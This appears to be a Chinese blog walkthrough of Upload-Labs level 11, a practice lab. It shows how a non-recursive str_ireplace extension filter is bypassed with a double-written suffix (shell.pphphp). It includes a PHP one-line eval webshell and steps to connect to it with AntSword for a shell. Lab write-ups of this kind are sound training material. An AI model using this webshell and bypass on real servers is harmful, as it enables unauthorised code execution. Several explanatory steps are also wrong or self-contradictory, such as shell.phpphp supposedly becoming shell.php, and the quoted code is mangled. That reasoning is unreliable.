UploadLabs第11关:双写后缀绕过文件上传限制

admin 2026-03-25 23:26:17 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文档讲解UploadLabs第11关利用双写后缀绕过文件上传限制的原理与实操。核心漏洞源于str_ireplace函数执行非递归替换,攻击者可构造如shell.phpphp的文件名,使过滤后重新生成危险后缀,从而上传木马。内容涵盖源码分析、构造过程及蚁剑验证,步骤清晰,实战性强。 综合评分: 82 文章分类: WEB安全,渗透测试,漏洞分析,实战经验


cover_image

Upload Labs 第11关:双写后缀绕过文件上传限制

原创

武文学网安 武文学网安

武文学网安

2026年3月23日 23:56 四川

大家好,我是武文。

在前面的关卡中,我们已经学习了多种绕过方式:

  • 大小写绕过

  • 点 / 空格绕过

  • $DATA

    绕过

  • 点空格点绕过

这些更多是利用系统解析差异

但第11关开始,进入一个非常经典、也是实战中非常常见的漏洞:

字符串替换过滤绕过(双写后缀)

一、核心源码分析

第11关关键代码如下:


$denyext = array(“php”,”php5″,”php4″,”php3″,”php2″,”html”,”htm”,”phtml”,”pht”,”jsp”,”jspa”,”jspx”,”jsw”,”jsv”,”jspf”,”jtml”,”asp”,”aspx”,”asa”,”asax”,”ascx”,”ashx”,”asmx”,”cer”,”swf”,”htaccess”,”ini”);$filename = trim($FILES[‘uploadfile’][‘name’]);$filename = strireplace($denyext,””, $filename);$tempfile = $FILES[‘uploadfile’][‘tmpname’];$imgpath = UPLOADPATH.’/’.$file_name;



二、这段代码在干什么?

逻辑其实很简单:

👉 把文件名中的“危险字符串”全部删除

例如:

shell.php → shell.
shell.jsp → shell.

开发者的想法是:

“我把 php、jsp 都删掉,你就没法上传木马了。”

看起来很合理,但问题就出在:

str_ireplace()

三、漏洞核心:str_ireplace 的“非递归替换”

函数:

str_ireplace($deny_ext,"",$file_name);

特点:

只对原始字符串进行一次整体替换
不会对替换后的结果再次检查

四、漏洞产生过程(关键!)

我们构造文件名:

shell.phpphp

第一步:原始输入

shell.phpphp

第二步:执行替换

str_ireplace("php","",$file_name);

替换过程:

shell.phpphp
↓ 删除 php
shell.

第三步:最终文件名

shell.

五、关键问题来了

Windows / Apache 在处理:

shell.

时,会自动解析为:

shell

但如果你构造稍微变化一下:


六、真正可利用 Payload

shell.php.php

替换过程:

shell.php.php
↓ 删除 php
shell..

最终:

shell.
→ shell

但这里还不够稳定。


七、最稳定利用方式(重点)

真正推荐的写法:

shell.pphphp

原因:

str_ireplace 是忽略大小写
但替换是按匹配顺序进行,pphphp—>php

八、最核心利用思路(总结一句话)

第11关的本质不是:

让 .php 直接存在

而是:

通过“拼接污染”,让过滤后重新生成 .php

九、实战操作


1 准备一句话木马

<?php@eval($_POST['cmd']);&nbsp;?>

2 将文件名命名为shell.pphphp


3 上传后服务器处理

shell.phpphp
↓ 过滤 php
shell.
↓ 系统解析
shell.php

最终生成:

shell.php

十、验证漏洞

访问:

http://192.168.243.128/uploadlabs/upload/shell.php

使用蚁剑连接:

密码:cmd

成功 getshell。

总结

这一关双写绕过其实和前面SQL注入中双写关键词绕过的章节类似。本质都是开发者使用 str_ireplace 删除危险后缀,但由于字符串替换不会递归处理,攻击者可以通过“双写后缀”让过滤后重新生成 .php,从而绕过限制。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:武文学网安 武文学网安 武文学网安《Upload Labs 第11关:双写后缀绕过文件上传限制》

评论:0   参与:  0